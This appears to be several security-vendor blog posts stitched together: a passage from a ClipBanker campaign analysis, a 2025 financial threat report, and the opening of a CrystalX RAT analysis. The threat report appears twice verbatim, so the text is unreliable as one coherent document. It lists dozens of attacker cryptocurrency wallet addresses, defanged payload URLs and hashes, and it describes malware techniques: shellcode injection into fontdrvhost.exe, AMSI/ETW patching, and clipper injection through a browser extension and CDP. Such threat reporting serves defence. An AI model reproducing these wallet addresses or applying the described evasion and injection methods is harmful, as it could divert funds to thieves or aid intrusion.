It’s a massive script, clocking in at around 500 KB. Interestingly, the bulk of the file is just one long Base64 string. After decoding it and doing some deobfuscation, we end up with a script whose purpose is quite clear. It extracts shellcode from a Base64 string, launches the fontdrvhost.exe utility, injects the shellcode into it, and hands over control.

The shellcode, in turn, unpacks and sets up the code for the final payload. This is classic ClipBanker-like malware, and there’s nothing particularly fancy about it. It’s written in C++, compiled with MinGW, doesn’t bother with system persistence, and doesn’t even connect to the network. Its entire job is to constantly monitor the clipboard for strings that look like crypto wallet addresses belonging to various blockchain-based networks (Cardano, Algorand, Ethereum, Bitcoin, NEM, Stellar, BNB, Cosmos, Dash, Monero, Dogecoin, MultiversX, Arweave, Filecoin, Litecoin, Neo, Osmosis, Solana, THOR, Nano, Qtum, Waves, TRON, Ripple, Tezos, and ZelCash), and then swap them with the attackers’ own addresses.

Here is the full list of replacement addresses:

addr1qxenj0dwefgmp9z4t4dgek3yh3d8cfzcl6u97x2ln8c4nljjv7xdw2u0jhfdy90arm0xr0das4kznrh8qj33dzu8z5fqdtusyt
QSAROFQNKPXKKDNK67N5MQY5IQ4MTKGLI65KREVHKW53R2M6WHORP3ME2E
0x97c16182d2e91a9370d5590b670f6b8dc755680552e40218a2b28ec7ad105071
qrherxuw7fupud48l9xwvdcg7w64g8g7xvls9vgqyq
bc1q88r38gk8ynrhdfur7yefwf5hrn2y56s90vlrvq
36vf1gvZSxHkRRhAFiH6fotVWYEwH3tk22
14U9sBVDRyEfPgR8h9QJatwtrodey4NeH4
bc1phfm9d0fpqtgr9hkrxx5ww9k2qzww59q5czga95rtmk6vh5h8devsa72fxk
btg1qqfrsueknwmg92xrpch22wru0g4ka4p2vum3pdj
AcRjmRuDswUeQHtxJnzAn496r9Lo8XQjUK
GW9DJpw4mBJnVUWucX3szdH5bXZ9pqzLRF
bnb18nqx60dx6dhhsdyddcl0653392w0v4yhx07knl
cosmos10zqq0frph0rs36wwjg4r2r5626m6a2dgv3h6nv
DskZFNcs5MKg9EdvhAnu87YGzWwVoBvd2tZ
Xj3KofSCPq97odR8hiFjfeZs2FqbwUbstk
DJYXgJuBrc7cuGn4sgJXz1sdArKURkoWS9
erd14n38wkxm9epjh0s2y8078yqqzy4ztq9ckczy883dwcfgd54peaqs3tp2k2
a2dB176hgduQopnJPrEGjfojRWSHwTS62Q
f1qxoyqf3va2mwfbgzah3t7pqe7x5fmdev5dqc25a
inj1qw709q8utgjhxrs2cqczhmz2w254dedllzmlef
ltc1q4calyk5x5g36ckpsrcr6ndtxdlc0ea9qs4h44n
MCB8j9kXkX3f3BoXaBcsDc9RFoki9Kb3AR
LhMGEmEGwxcGhCEQ7QmbC1hywRbHbbv6p8
14FBxuV8HEuuWPFoFHbbG4Hm4pa7CqroQiGDeWvZdGiiJm8W
osmo10zqq0frph0rs36wwjg4r2r5626m6a2dgy2y297
7ATuKGME8AG9Tz5Qe4eRf1EAwqJNUvYXMiCGmtSbaJXR
thor12x0nqpjz2djpuaxm2j2z963sawdcze3nhxacyu
EQA28DFYnisowE0e49Sp2DUv6RKQWOJGbvegKWRPXE83bMnQ
nano_1j9mjyi4q8qytb1r7yyqntzkyay5xo1wznnwmy9a3p9r371zb3d6wr6xs8y5
QXwbqRnmxgmMZQk5WEvMYEBVzf1MP4eMY9
3P7zSKMhfMPr5kd85xtHNmCx2gi9apCgnSP
TNkGLYwtjcSk2A9U8cxJzttGeGEgz56hSP
GB4XWREV3WOXWIWFE3DVX3FUNUXLOC7EEGXHZXRUKI5AMZAG3SV7EV4P
46QtL5btfnq85iGrPDFabp4mxGhRbEZJaH67i5LhQsWhCnuiURKVU74QbMpf4TcZqgDnENMWaqhpt82vQSEdyBf4Tp1v8Y9
rKwSuwgNNWn8P8x1ckUopKkErnPW3tVrz9
tz1cPNzMxTsLzV1Gca2VowGgjRm7MkRzGLw5
t1Nwwai9UsQxcgJVVbssnmfjfznhbq2v8ud
ZEPHYR2tzMbbkY7CCsShtADqstJLEeZfEiDHQeRchSg8FoqAn2XzsDD8eEEx5cweBQb4jX12DhfPz36c6TD6uV9fPrcFMqwzTn93Y

The complete execution chain, from the moment the malicious installer starts until the ClipBanker code is running, looks like this:

Victims

Since the beginning of 2025, more than 2000 users of Kaspersky solutions have encountered this threat, most of them located in India and Vietnam. Interestingly, 70% of these detections came from the Kaspersky Virus Removal Tool, a free utility used to clean devices that are already infected. This underscores the importance of the preemptive protection: it is often cheaper and easier to prevent the infection than to face consequences of a successful attack.

Conclusion

This campaign is yet another perfect example of the old adage: “buy cheap, pay twice”. Trying to save a buck on software, combined with a lack of caution when hunting for free solutions, can lead to an infection and the subsequent theft of funds – in this case, cryptocurrency. The attackers are aggressively promoting their sites in search results and using fileless techniques alongside a marathon infection chain to stay under the radar. Such attacks are difficult to detect and stop in time.

To stay safe and avoid losing your money, use reliable security solutions that are able to prevent your device form being infected. Download software only from official sources. If for some reason you can’t use a reputable paid solution, we highly recommend thoroughly vetting the sites you use to download software.

Indicators of compromise

URLs
https[:]//pastebin[.]com/raw/FmpsDAtQ
https[:]//snippet[.]host/aaxniv/raw
https[:]//chiaselinks[.]com/raw/nkkywvmhux
https[:]//rlim[.]com/55Dfq32kaR/raw
https[:]//paste.kealper[.]com/raw/k3K5aPJQ
https[:]//git.parat[.]swiss/rogers7/dev-api/raw/master/cpzn
https[:]//pinhole[.]rootcode[.]ru/rogers7/dev-api/raw/master/cpzn
https[:]//github[.]com/lukecodix/Proxifier/releases/download/4.12/Proxifier.zip
https[:]//gist.github[.]com/msfcon5ol3/107484d66423cb601f418344cd648f12/raw/d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7/upxz

Hashes
34a0f70ab100c47caaba7a5c85448e3d
7528bf597fd7764fcb7ec06512e073e0
8354223cd6198b05904337b5dff7772b

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

Introduction

In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.

Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.

Technical details

Background

The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.

After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.

The builder and anti-debug features

By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:

• MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
• VM detect: checking running processes, presence of guest tools, and hardware characteristics
• Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
• Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump

Stealer capabilities

When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.

The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.

Keylogger & clipper

Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:

1. The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
2. A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
3. The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
4. The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.
